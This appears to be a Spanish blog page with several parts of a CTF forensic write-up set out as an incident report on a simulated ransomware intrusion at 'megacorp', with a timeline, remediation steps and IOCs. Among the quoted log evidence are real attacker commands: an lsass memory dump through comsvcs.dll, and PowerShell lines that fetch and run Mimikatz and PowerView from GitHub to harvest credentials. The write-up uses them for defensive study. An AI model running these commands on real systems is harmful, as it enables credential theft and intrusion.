Search Results for: CTF

Baklava CTF Writeup – Incident Report Style (IV)

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

SRV01

Dado que es un activo crítico para la Organización, se solicita por su parte un análisis forense del servidor.

Se procesan en primer lugar los logs de eventos por Hayabusa, obteniendo los siguientes resultados de interés:

./hayabusa-2.17.0-lin-x64-gnu csv-timeline -d ../Logs -o ../hayabusa_srv01.csv

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

| Top high alerts:    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ Suspicious Eventlog Clearing or Configuration Change Activity (267) │

│ Process Memory Dump Via Comsvcs.DLL (3)   │

│ ETW Trace Evasion Activity (2)            │

│ Lsass Memory Dump via Comsvcs DLL (2)     │

│ Disable Windows Defender Functionalities Via Registry Keys (2)  |

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

Si se investigan las alertas, parece que los atacantes han creado el servicio abjtTGiR, con el objetivo de volcar la memoria del proceso lsass.exe (y de esta forma poder acceder a los hashes de las credenciales):

2024-03-22 13:07:20.583 +01:00        Service Binary in Suspicious Folder           high       SRV01.megacorp.local  Sysmon         13           23869    EventType: SetValue ¦ RegKey: HKLM\System\CurrentControlSet\Services\abjtTGiR\ImagePath ¦ Details: %%COMSPEC%% /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\system32\services.exe ¦ PID: 636 ¦ PGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ User: NT AUTHORITY\SYSTEM       RuleName: T1031,T1050 ¦ UtcTime: 2024-03-22 12:07:20.573

2024-03-22 13:07:20.813 +01:00        Process Memory Dump Via Comsvcs.DLL              high       SRV01.megacorp.local         Sysmon 1              23870    Cmdline: C:\Windows\system32\cmd.exe /Q /c CMD.Exe /Q /c for /f “tokens=1,2 delims= ” ^%%A in (‘”tasklist /fi “Imagename eq lsass.exe” | find “lsass””‘) do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000^24 ^%%B \Windows\Temp\JuyTiUv5g.ico full ¦ Proc: C:\Windows\System32\cmd.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: C:\Windows\system32\services.exe ¦ LID: 0x3e7 ¦ LGUID: 5CD2ED58-580B-65FC-E703-000000000000 ¦ PID: 4420 ¦ PGUID: 5CD2ED58-7478-65FD-700B-000000001300 ¦ ParentPID: 636 ¦ ParentPGUID: 5CD2ED58-580B-65FC-0B00-000000001300 ¦ Description: Windows Command Processor ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=911D039E71583A07320B32BDE22F8E22,SHA256=BC866CFCDDA37E24DC2634DC282C7A0E6F55209DA17A8FA105B07414C0E7C527,IMPHASH=272245E2988E1E430500B852C4FB5E18         CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.17763.1697 (WinBuild.160101.0800) ¦ IntegrityLevel: System ¦ OriginalFileName: Cmd.Exe ¦ ParentImage: C:\Windows\System32\services.exe ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 12:07:20.811

De forma adicional, vía Sysmon se observa que los atacantes han manipulado la configuración de Windows Defender:

2024-03-22 13:06:46.123 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23854    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring ¦ Details: DWORD (0x00000001) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM         RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:46.121

2024-03-22 13:06:48.887 +01:00        Disable Windows Defender Functionalities Via Registry Keys        high         SRV01.megacorp.local  Sysmon 13           23861    EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows Defender\Spynet\SpyNetReporting ¦ Details: DWORD (0x00000000) ¦ Proc: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24020.7-0\MsMpEng.exe ¦ PID: 6832 ¦ PGUID: 5CD2ED58-5AD7-65FC-5E01-000000001300 ¦ User: NT AUTHORITY\SYSTEM RuleName: T1089,Tamper-Defender ¦ UtcTime: 2024-03-22 12:06:48.887

Se confirma la acción de los atacantes en los log de eventos de Windows Defender:

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:47

Id. del evento:5001

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

Se deshabilitó el examen de Protección en tiempo real de Microsoft Defender Antivirus para detectar malware y otro software potencialmente no deseado.

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x2

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\SpyNetReporting = 0x0

Nombre de registro:Microsoft-Windows-Windows Defender/Operational

Origen:        Microsoft-Windows-Windows Defender

Fecha:         22/03/2024 13:06:49

Id. del evento:5007

Categoría de la tarea:Ninguno

Nivel:         Información

Palabras clave:

Usuario:       SYSTEM

Equipo:        SRV01.megacorp.local

Descripción:

La configuración de Microsoft Defender Antivirus cambió. Si es un evento inesperado, debe revisar la configuración porque puede deberse a malware.

         Valor anterior: N/A\SpyNet\LastMAPSFailureTimeString =

         Valor nuevo: HKLM\SOFTWARE\Microsoft\Windows Defender\SpyNet\LastMAPSFailureTimeString = 2024-03-22T12:06:49Z

Se investiga cómo han podido acceder los atacantes al equipo, encontrando dos accesos del usuario sqladmin vía Escritorio Remoto:

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:45:45

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción: Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio: megacorp

Dirección de red de origen: 10.0.8.25

[Nota: esta conexión es un residuo del CTF, no hay que tenerla en cuenta].

Nombre de registro:Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational

Origen:        Microsoft-Windows-TerminalServices-RemoteConnectionManager

Fecha:         22/03/2024 13:05:57

Id. del evento:1149

Usuario:       Servicio de red

Equipo:        SRV01.megacorp.local

Descripción:Servicios de Escritorio remoto: autenticación de usuario correcta:

Usuario: sqladmin

Dominio:

Dirección de red de origen: 192.168.20.42

El primer acceso se produce justo antes de la actividad maliciosa ya observada del usuario sqladmin, lo que confirma que el ataque de Kerberoasting contra la cuenta sqladmin ha sido exitoso, y que la contraseña no era robusta ya que ha sido rota en cuestión de minutos.

Se analiza la MFT del servidor, centrándonos en los ficheros creados o modificados el 22/03/2024, encontrando un fichero de interés:

2024-03-22 12:06:38                2024-03-22 12:06:38      2024-03-22 12:06:38       2024-03-22 12:06:38       154         lnk         \Users\sqladmin\AppData\Roaming\Microsoft\Windows\Recent\windowsdefender—.lnk

Se recupera el .lnk de la carpeta de recientes del usuario sqladmin, y se pasa por la herramienta LECmd.exe, obteniendo el siguiente resultado:

LECmd version 1.5.0.0

Processing C:\Users\antonio\Desktop\windowsdefender—.lnk

Extra data found in ftp case

Source file: C:\Users\antonio\Desktop\windowsdefender—.lnk

  Source created:  2024-12-01 12:17:57

  Source modified: 2024-03-22 12:06:38

  Source accessed: 2024-12-01 12:18:37

— Target ID information (Format: Type ==> Value) —

  Absolute path: Internet Explorer (Homepage)\windowsdefender:///

  -Root folder: GUID ==> Internet Explorer (Homepage)

  -URI ==> windowsdefender:///

Los atacantes han lanzado desde Edge un acceso directo a la Seguridad del servidor, posiblemente para ver si podían deshabilitarlo.

Así mismo, se confirma la ejecución del ransomware al aparecer tanto la nota de rescate como ficheros cifrados:

2024-03-22 12:34:43                2024-03-22 12:37:53      2024-03-22 12:37:53       2024-03-22 12:37:53       1576      txt         \files\readme.txt

2024-03-22 12:34:53                2024-03-22 12:34:53      2024-01-23 11:26:30       2024-03-22 12:34:53       2097184         baklava \files\confidential\conf-2024-1.docx.baklava

Si se buscan los ficheros modificados por el usuario sqladmin el 22/03/2024, se encuentra en el fichero C:\Users\sqladmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt el historial de ejecución de Powershell, donde se observa el uso de Mimikatz para acceder a las credenciales del equipo:

Invoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1 -UseBasicParsing | Invoke-Expression

add-objectacl

whoami

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

IEX (New-Object System.Net.Webclient).DownloadString(‘https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1’)

Invoke-Mimikatz -Command ‘”privilege::debug” “token::elevate” “sekurlsa::logonpasswords”‘

ipconfig

Se concluye que los atacantes han llevado a cabo las siguientes acciones:

  1. Deshabilitado el antivirus Windows Defender.
  • Realizado un volcado de la memoria del proceso lsass.exe con la herramieta Mimikatz, con el fin de obtener las credenciales de los usuarios que habían iniciado sesión.
  • Iniciado sesión por Escritorio Remoto con el usuario sqladmin.

Conclusiones finales

Los análisis forenses realizados permiten resumir el ataque en las siguientes fases:

  1. En primer lugar, los atacantes envían un correo malicioso al usuario m.shutter (equipo WS01), conteniendo un enlace para la descarga de un fichero malicioso.
  • El fichero, al ser abierto, compromete el equipo con la herramienta de post-explotación Havoc y lanza un fichero PDF señuelo.
  • En WS01 existe una tarea que se ejecuta con privilegios y que está en un directorio sin restricciones. Los atacantes modifican dicha tarea para ejecutar un script de Powershell que les permite escalar privilegios.
  • Los atacantes dejan una persistencia en el inicio del usuario mshutter (script en el Startup) y localizan el equipo WS02, al que copian el fichero update.ps1 (otra copia de Havoc) y lo ejecutan vía PsExec comprometiendo dicho equipo.
  • En WS02 dejan de nuevo persistencia (en este caso vía una tarea programada), y realizan con la herramienta Rubeus un ataque de Kerberoasting contra la cuenta de sqladmin. 
  • Dado que inician sesión con el usuario sqladmin en SRV01 poco después, se asume que dicha contraseña ha sido vulnerable a un ataque de fuerza bruta. En este servidor los atacantes deshabilitan de forma manual el antivirus Windows Defender y proceden a volcar las credenciales en memoria con la herramienta Mimikatz.
  • Los atacantes parecen disponer al momento de las credenciales de los usuarios helpdesk y Administrador (se sospecha un posible ataque de Pass-the-Hash). Estos accesos son empleados para realizar una copia del Directorio Activo mediante el ataque DC Sync y para crear la cuenta administrad0r y hacerla administrador del dominio.
  • Los atacantes inician sesión por Escritorio Remoto con esta cuenta en DC02, instalan FIleZilla y lo emplean tanto para exfiltrar una BD de contraseñas de KeePass como para descargarse el ransomware PsRansom
  • El ataque termina con los atacantes detonando el ransomware y cifrando ficheros en SRV01.

Acciones de erradicación y recuperación

Se recomiendan las siguientes acciones de erradicación y recuperación:

  1. Búsqueda de todos los IOC en la infraestructura de la Organización, principalmente los relacionados con el C2 de Havoc y los nombres de los ficheros Powershell maliciosos.
  • Borrado de todos los ficheros maliciosos encontrados en los distintos equipos.
  • Cambio de contraseñas de todos los usuarios privilegiados de la Organización, haciendo especial hincapié en que se sigan unos criterios de robustez de las mismas. La misma acción debe llevarse a cabo con las cuentas de servicio.
  • Cambio de todas las contraseñas existentes en el fichero KeePass robado por los atacantes.
  • Cambio de contraseñas de todos los usuarios de la Organización (se recuerda que los ataques se han llevado una copia del Directorio Activo, por lo que tienen acceso a todos los hashes de las contraseñas, que pueden ser rotos con un ataque de fuerza bruta).
  • Restauración de las copias de seguridad de DC02 y SRV01 a un estado anterior al 22/03/2024 a las 12:00h UTC
  • Reinstalación completa de los puestos de usuario WS01 y WS02.

Línea temporal del ataque

Hora (UTC)EquipoFuenteUsuarioEvento
0:03:25WS01MFTN/ACreación del fichero C:\Schtask\check-updates.ps1
9:29:00WS01RAMmshutterCorreo malicioso desde contabilidadm3gac0rp@gmail.com
11:23:11WS01EventLog SysmonmshutterDescarga desde https://file.io/2UvVGDED0zrF
11:25:08WS01EventLog SysmonmshutterDescarga desde https://file.io/ufFVdF8eLeK8
11:26:00WS01EventLog SysmonmshutterDescarga de factura.iso desde https://file.io/zgsJx9hcnscg
11:26:17WS01EventLog SysmonmshutterMontaje de la ISO C:\Users\mshutter\Downloads\factura.iso
11:26:31WS01EventLog VHDMPmshutterMontaje de ISO – E:\factura\Factura.lnk
11:26:39WS01EventLog SysmonmshutterEjecución del powershell : E:\factura\f\p.ps1
11:26:44WS01EventLog SysmonmshutterMontaje de ISO – E:\Factura\f\enc.dat
11:30:22WS01MFTmshutterCreación del fichero C:\Users\mshutter\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:32:12WS01MFTN/ACreación del fichero C:\Schtask\update.dat
11:33:37WS01EventLog SysmonmshutterModificación del fichero C:\Schtask\check-updates.ps1
11:33:38WS01EventLog SysmonlocaladminEjecución de la tarea programada C:\Schtask\check-updates.ps1 (ahora maliciosa)
11:33:59WS01EventLog SysmonlocaladminEjecución del powershell C:\Schtask\check-updates.ps1
11:39:25WS01EventLog SysmonlocaladminCreacíón del fichero C:\Users\Public\update.ps1
11:39:47WS01EventLog SysmonlocaladminCreación del fichero C:\Users\Public\psexec.exe
11:40:09WS02MFTN/ACreación del fichero C:\update.ps1
11:41:06WS01EventLog SysmonlocaladminEjecución de PsExec contra WS02 ejecutando c:\update.ps1
11:41:07WS02MFTN/ACreación del fichero PSEXESVC.exe
11:42:49WS02MFTlocaladminCreación del fichero C:\Users\localadmin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.ps1
11:43:07WS02MFTN/ACreación de la tarea programada OneDriveUpdateTask
11:47:59WS02PrefetchlocaladminEjecución de Rubeus35
11:51:27WS02PrefetchlocaladminEjecución de Rubeus contra la cuenta de sqladmin
11:51:27DC02EventLog SecuritylocaladminKerberoasting contra sqladmin desde la IP 192.168.20.42 (WS02)
11:54:39WS02PrefetchN/AEjecución de whoami.exe
12:05:57SRV01EventLog Terminal ServicessqladminInicio de sesión por Escritorio Remoto con sqladmin desde 192.168.20.42
12:06:46SRV01EventLog SysmonSYSTEMSe deshabilita Windows Defender
12:07:20SRV01EventLog SysmonSYSTEMVolcado de memoria del lsass.exe con Mimikatz (PowerSploit)
12:08:19DC02EventLog SecurityhelpdeskPosible DC Sync con Mimikatz
12:08:44DC02EventLog SysmonAdministradorCreación de la cuenta administrad0r
12:09:31DC02EventLog SysmonAdministradorSe añade el usuario administrad0r al grupo Admin de dominio
12:12:08DC02EventLog Terminal Servicesadministrad0rInicio de sesión por Escritorio Remoto de administrad0r
12:25:37DC02EventLog Sysmonadministrad0rDescarga de FileZilla portable
12:31:33DC02EventLog Sysmonadministrad0rConexión FTP contra 200.234.235.200
12:32:00DC02EventLog Sysmonftp1Exfiltración del fichero STOR management-passwords-1.kdbx
12:32:26DC02EventLog Sysmonftp1Descarga del FTP del fichero baklavasom.ps1
12:33:29DC02EventLog Sysmonadministrad0rEjecución del ransomware PsRansom C:\Users\administrat0r.MEGACORP\Desktop\baklavasom.ps1
12:34:36SRV01EventLog SysmonN/AAparecen los primeros ficheros cifrados en SRV01
12:34:43SRV01MFTN/AAparece la primera nota de ransom  C:\files\readme.txt
14:30:00N/AOrganizaciónN/APrimer contacto de la Organización con nosotros

Impacto

El impacto del incidente se considera como MEDIO para la Organización, ya que se han cifrado únicamente los ficheros de un servidor de la misma (del que se disponía de copias de seguridad), y la exfiltración de información se limita a un fichero de contraseñas (que ya han sido cambiadas como parte del proceso de recuperación).

Atribución

El incidente no deja evidencias suficientes como para poder realizar una atribución correcta del mismo, ya que el ransomware es un proyecto de GitHub libremente accesible.

El equipo de ciberinteligencia confirma que ninguno de los IOC o de las TTP observadas a lo largo del incidente permiten asociar el incidente a ninguno de los grupos de ransomware activos en la actualidad.

Lecciones aprendidas

El incidente deja las siguientes lecciones aprendidas:

  • Mejora de las capacidades de detección de correos maliciosos: se recomienda desplegar nuevas capacidades que permiten identificar correos con contenido malicioso (file.io es empleada con frecuencia por los atacantes debido a su carácter efímero, que dificulta el análisis).
  • Concienciación de los usuarios: así mismo, se deberían realizar los esfuerzos necesarios para dotar a los usuarios de la Organización de buenas prácticas de ciberseguridad, especialmente con respecto al uso seguro del correo electrónico.
  • Configuración correcta de permisos de directorios: los atacantes pudieron escalar privilegios al poder modificar una tarea privilegiada que estaba en un directorio no privilegiado. Se recomienda revisar y configurar correctamente estas carpetas.
  • Incremento de la robustez de las contraseñas: el ataque ha podido progresar en gran medida porque las contraseñas de los usuarios privilegiados no eran robustas. Se recomienda establecer de forma general políticas de contraseñas robustas.
  • Despliegue de un EDR: se recomienda el despliegue de una solución EDR (Endpoint Detection & Response), ya que posiblemente habría podido bloquear y alertar de una o varias partes de la cadena del ataque.

Anexo A: IOC

IP

200.234.235[.]200

URL

https://baklava014.duckdns[.]org/

https://file[.]io/zgsJx9hcnscg

https://file[.]io/2UvVGDED0zrF

Puertos no habituales

8800

Usuarios maliciosos

administrat0r

Usuarios afectados por los atacantes

sqladmin

helpdesk

localadmin

Ficheros

OneDriveUpdater.ps1

Update.ps1

Update.dat

Check_updates.ps1

Factura.iso

p.ps1

\baklavasom.ps1

FAQ (del meta, no del incidente)

Antonio, ¿le tienes manía a las imágenes?

No, soy un fan de las imágenes, pero cuando aportan algo. Muchos informes DFIR tienen muchas imágenes… pero para que entren en el Word, se reducen al 25% y no se ve absolutamente nada. Mucho mejor el texto para estos casos.

Además, el texto tiene una ventaja sobre las imágenes: es BUSCABLE. Es decir, dentro de 4 meses tienes otro incidente con este grupo de ransomware, y es tan fácil como abrir de nuevo el documento y darle a buscar (y así no tienes que ir mirando en 94 páginas de informe dónde está el nombre del fichero que te sonaba que había salido en este informe… o en uno de otros 14).

Oye, veo que esto es como una historia ¿No suelen ser los informes de incidentes mucho más parcos en plan “pasó esto aquí, tal día y de esta forma”?

La redacción de informes DFIR tiene dos corrientes filosóficas: el modo bitácora (donde se cuenta como una historia las acciones realizadas) y el modo informe de resultados (donde se cuenta lo que pasó en orden cronológico, aunando todos los trabajos).

Ambos enfoques son correctos: el modo bitácora es muy útil porque permite determinar qué se hizo en cada momento, y porqué se tomaron algunas decisiones en cada momento (por lo que no explica solo el incidente sino también la propia respuesta al mismo).

El modo informe de resultados es muy útil en incidentes muy grandes, en los que un modo bitácora haría prácticamente imposible el seguimiento, y se hace mucho más legible un orden (por ej: equipo a equipo).

Baklava CTF Writeup – Incident Report Style (III)

Contenido

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

WS01 – 192.168.20.41

Este equipo es el que ha ejecutado la parte cliente de PSEXEC contra WS02, por lo que se sospecha que puede ser el paciente cero del incidente.

Se ejecuta la herramienta Hayabusa con los logs de eventos, obteniendo los siguientes resultados:

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

 │ Top critical alerts:                        Top high alerts:                                                    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Antivirus Password Dumper Detection (3)     Suspicious Eventlog Clearing or Configuration Change Activity (295) │

│ Defender Alert (Severe) (3)                 Suspicious PowerShell Parameter Substring (6)                       │ n/a                                         Script Interpreter Execution From Suspicious Folder (4)             │ n/a                                         ETW Trace Evasion Activity (3)                                      │

│ n/a                                         Antivirus Relevant File Paths Alerts (3)                            │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Top medium alerts:                          Top low alerts:                                                     │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

│ Reg Key Value Set (Sysmon Alert) (939)      n/a                                                                 │

│ ISO Image Mounted (78)                      n/a                                                                 │

│ Potentially Malicious PwSh (57)             n/a                                                                 │

│ Reg Key Create/Delete (Sysmon Alert) (55)   n/a                                                                 │

│ File Created (Sysmon Alert) (50)            n/a                                                                 │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌

Se revisan las alertas, encontrando los siguientes resultados de interés:

  1. Detección de la herramienta Rubeus (Nota: posiblemente sea parte de la organización del CTF, siendo un residuo del mismo)

“2024-03-22 13:47:19.126 +01:00″,”Antivirus Password Dumper Detection”,”crit”,”WS01.megacorp.local”,”Defender”,1116,227,”Threat: VirTool:Win32/Kekeo.A!MTB ¦ Severity: Severe ¦ Type: Tool ¦ User: MEGACORP\mshutter ¦ Path: file:_\\tsclient\_home_ub_Documents_share-vm\Rubeus.exe ¦ Proc: C:\Windows\explorer.exe”,”Action ID: 9 ¦ Action Name: Not Applicable ¦ Additional Actions ID: 0 ¦ Additional Actions String: No additional actions required ¦ Category ID: 34 ¦ Detection ID: {BEDBBF2C-AE5A-45D1-A944-E75B145F29F8} ¦ Detection Time: 2024-03-22T12:46:41.065Z ¦ Engine Version: AM: 1.1.24020.9, NIS: 1.1.24020.9 ¦ Error Code: 0x00000000 ¦ Error Description: The operation completed successfully. ¦ Execution ID: 1 ¦ Execution Name: Suspended ¦ FWLink: https://go.microsoft.com/fwlink/?linkid=37020&name=VirTool:Win32/Kekeo.A!MTB&threatid=2147756241&enterprise=0 ¦ Origin ID: 2 ¦ Origin Name: Network share ¦ Post Clean Status: 0 ¦ Pre Execution Status: 0 ¦ Product Name: Microsoft Defender Antivirus ¦ Product Version: 4.18.24020.7 ¦ Remediation User: ¦ Security intelligence Version: AV: 1.407.622.0, AS: 1.407.622.0, NIS: 1.407.622.0 ¦ Severity ID: 5 ¦ Source ID: 3 ¦ Source Name: Real-Time Protection ¦ State: 1 ¦ Status Code: 1 ¦ Status Description: ¦ Threat ID: 2147756241 ¦ Type ID: 0 ¦ Type Name: Concrete ¦ Unused2: ¦ Unused3: ¦ Unused4: ¦ Unused5: ¦ Unused6: ¦ Unused:”

2) Ejecución de un Powershell posiblemente malicioso (p.ps1) con el usuario mshutter y desde el directorio E:\Factura. El directorio E: no es de sistema, y el nombre de factura evoca a las campañas de .iso maliciosos, que al montarse contenían .lnk u otros contenidos maliciososo:

“2024-03-22 12:26:39.331 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,15784,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”” -ep bypass -nop -w hidden -NoExit .\f\p.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\mshutter ¦ ParentCmdline: C:\Windows\Explorer.EXE ¦ LID: 0x5fa76c ¦ LGUID: 6A095527-648A-65FD-6CA7-5F0000000000 ¦ PID: 6996 ¦ PGUID: 6A095527-6AEF-65FD-B908-000000000900 ¦ ParentPID: 9132 ¦ ParentPGUID: 6A095527-648C-65FD-C901-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: E:\factura\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: Medium ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\explorer.exe ¦ RuleName: – ¦ TerminalSessionId: 3 ¦ UtcTime: 2024-03-22 11:26:39.308″

3) Ejecución del script C:\Schtask\check-updates.ps1 (directorio no habitual)

“2024-03-22 12:33:59.473 +01:00″,”Suspicious PowerShell Parameter Substring”,”high”,”WS01.megacorp.local”,”Sysmon”,1,16141,”Cmdline: “”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE”” -ep bypass -w hidden -NoExit C:\Schtask\check-updates.ps1 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: MEGACORP\localadmin ¦ ParentCmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule ¦ LID: 0x19cfe1e ¦ LGUID: 6A095527-6CA7-65FD-1EFE-9C0100000000 ¦ PID: 14128 ¦ PGUID: 6A095527-6CA7-65FD-2C09-000000000900 ¦ ParentPID: 2472 ¦ ParentPGUID: 6A095527-632E-65FD-3100-000000000900 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=0499440C4B0783266183246E384C6657,SHA256=D436E66C0D092508E4B85290815AB375695FA9013C7423A3A27FED4F1ACF90BD,IMPHASH=342A7FD0A3177AE5549A5EEE99F82271″,”CurrentDirectory: C:\Windows\system32\ ¦ FileVersion: 10.0.22621.1635 (WinBuild.160101.0800) ¦ IntegrityLevel: High ¦ OriginalFileName: PowerShell.EXE ¦ ParentImage: C:\Windows\System32\svchost.exe ¦ ParentUser: NT AUTHORITY\SYSTEM ¦ RuleName: – ¦ TerminalSessionId: 0 ¦ UtcTime: 2024-03-22 11:33:59.452″

El fichero está en la MFT, por lo que se solicita a la Organización:

2024-01-21 01:03:25                2024-03-22 19:47:45      2024-03-22 11:31:55       2024-03-22 11:31:55       258         258         ps1         \Schtask\check-updates.ps1   

[Read more…]

Baklava CTF Writeup – Incident Report Style (II)

Contenido

  1. ¡WARNING! ¡LÉEME PRIMERO!
  2. Resumen ejecutivo.
  3. Antecedentes.
  4. Gestión del incidente
    • 4.1. DC02 – 192.168.20.46
    • 4.2. WS02 – 192.168.20.42
    • 4.3. WS01 – 192.168.20.41
    • 4.4. SRV01
  5. Conclusiones finales.
  6. Línea temporal del ataque.
  7. Impacto.
  8. Atribución.
  9. Lecciones aprendidas.
  10. Anexo A: IOC.
  11. FAQ (del meta, no del incidente).

4.2. WS02 – 192.168.20.42

Se ejecuta la herramienta Hayabusa sobre los logs, encontrando las siguientes alertas:

──────────────────────────────────────

│ Top critical alerts:                   Top high alerts:                                                    │

╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤

│ n/a                          Suspicious Eventlog Clearing or Configuration Change Activity (298) │

| n/a                                    ETW Trace Evasion Activity (3)                                      │

│ n/a                                    Important Log File Cleared (2)                                      │

│ n/a                                    Log Cleared (1)                                                     │

│ n/a                                    n/a                                                                 │

